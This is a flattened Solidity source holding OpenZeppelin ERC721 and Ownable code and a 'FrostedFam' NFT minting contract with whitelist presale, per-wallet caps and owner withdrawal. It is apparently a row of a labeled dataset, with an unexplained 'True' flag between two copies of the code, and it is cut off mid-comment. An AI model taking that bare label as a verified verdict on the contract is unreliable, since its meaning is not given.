// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity >=0.7.0 <0.9.0;
contract FrostedFam is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = 0.038 ether;
uint256 public maxSupply = 4444;
uint256 public maxPreMintAmountPerTx = 3;
uint256 public maxMintAmountPerTx = 5;
uint256 public maxPrePerWallet = 3;
uint256 public maxPerWallet = 5;
bool public paused = true;
bool public prepaused = true;
bool public revealed = false;
mapping(address => uint256) public mintsPerWallet;
mapping(address => bool) public whitelisted;
constructor() ERC721("Frosted Fam", "FAM") {
setHiddenMetadataUri("https://www.frostedfam.com/frosted/hidden.json");
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
_;
}
modifier preMintCompliance(uint256 _preMintAmount) {
require(_preMintAmount > 0 && _preMintAmount <= maxPreMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _preMintAmount <= maxSupply, "Max supply exceeded!");
_;
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(msg.value >= cost * _mintAmount, "Insufficient funds!");
uint256 walletCount = mintsPerWallet[_msgSender()];
require(_mintAmount + walletCount <= maxPerWallet, "Exceeds max allowed per wallet!");
mintsPerWallet[_msgSender()] = mintsPerWallet[_msgSender()] + _mintAmount;
_mintLoop(msg.sender, _mintAmount);
}
function presaleMint(uint256 _preMintAmount) public payable preMintCompliance(_preMintAmount) {
require(!prepaused, "The Presale is paused!");
require(msg.value >= cost * _preMintAmount, "Insufficient funds!");
require(whitelisted[msg.sender] == true, "You are not Whitelisted!");
uint256 preWalletCount = mintsPerWallet[_msgSender()];
require(_preMintAmount + preWalletCount <= maxPrePerWallet, "Exceeds max allowed in Presale per wallet!");
mintsPerWallet[_msgSender()] = mintsPerWallet[_msgSender()] + _preMintAmount;
_preMintLoop(msg.sender, _preMintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
_mintLoop(_receiver, _mintAmount);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: "";
}
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function setCost(uint256 _cost) public onlyOwner {
cost = _cost;
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
maxMintAmountPerTx = _maxMintAmountPerTx;
}
function setMaxPreMintAmountPerTx(uint256 _maxPreMintAmountPerTx) public onlyOwner {
maxPreMintAmountPerTx = _maxPreMintAmountPerTx;
}
function setMaxPerWallet(uint256 _maxValue) external onlyOwner {
maxPerWallet = _maxValue;
}
function setMaxPrePerWallet(uint256 _maxPreValue) external onlyOwner {
maxPrePerWallet = _maxPreValue;
}
function whitelistUser(address _user) public onlyOwner {
whitelisted[_user] = true;
}
function removeWhitelistUser(address _user) public onlyOwner {
whitelisted[_user] = false;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function setPrePaused(bool _state) public onlyOwner {
prepaused = _state;
}
function withdraw() public onlyOwner {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
_safeMint(_receiver, supply.current());
}
}
function _preMintLoop(address _receiver, uint256 _preMintAmount) internal {
for (uint256 i = 0; i < _preMintAmount; i++) {
supply.increment();
_safeMint(_receiver, supply.current());
}
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
